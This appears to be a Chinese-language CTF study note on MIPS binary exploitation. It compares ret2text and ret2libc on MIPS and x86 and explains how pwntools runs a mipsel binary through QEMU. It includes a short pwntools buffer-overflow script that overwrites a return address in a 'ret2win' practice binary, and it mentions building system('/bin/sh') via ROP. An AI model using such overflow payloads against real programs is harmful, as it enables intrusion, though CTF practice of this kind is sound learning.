介绍

  • mips架构下的pwn和x86架构下的pwn中ret的题型基本不变,ret2textret2lic
  • 在解题的过程中还是找rop链,泄露地址,然后拼拼凑凑system('/bin/sh')
  • 寻找的onegadgate不太一样
    • 在x86架构下一般都是寻找pop_rdi_retpop_rsi_ret
    • 而在mips架构下的,一般都是寻找``

疑问

  • 在使用Python编写脚本过程中出现一个疑问,直接运行会出现架构不同的情况下无法运行
1
2
3
4
myheart@aaa ~/C/p/m/r/ret2win_mipsel> ./ret2win_mipsel
Failed to execute process './ret2win_mipsel'. Reason:
exec: unknown error (errno was 8)
The file './ret2win_mipsel' is marked as an executable but could not be run by the operating system.
  • 而使用Python脚本中p = process('./ret2win_mipsel')这个函数就可以运行
1
2
3
4
5
from pwn import *
p = process('./ret2win_mipsel')
payload = b'a'*0x24 + p32(0x400A00)
p.sendline(payload)
p.interactive()
  • 解答:在pwn库中会的process函数就会创建一个新的进程在这个过程中,pwn 库会使用 QEMU 用户模式模拟器(如 qemu-mipsel)来运行 MIPS 架构的程序。因此,Python 脚本能够通过 QEMU 启动 MIPS 可执行文件,而不会出现架构不匹配的问题。、
  • 所以可以直接用process函数进行直接本地打,但是动态调试还是要借助qmeu远程调试才可以使用gdb动态调试

ret2text

  • 这边使用的是ctf-wiki的一个例子,附件如下,现在IDA9.0可以支持异架构的反编译,可以直接读C代码,不用再看汇编代码,但因为学习我就跟着ctf-wiki看汇编,顺便再对mips汇编加深印象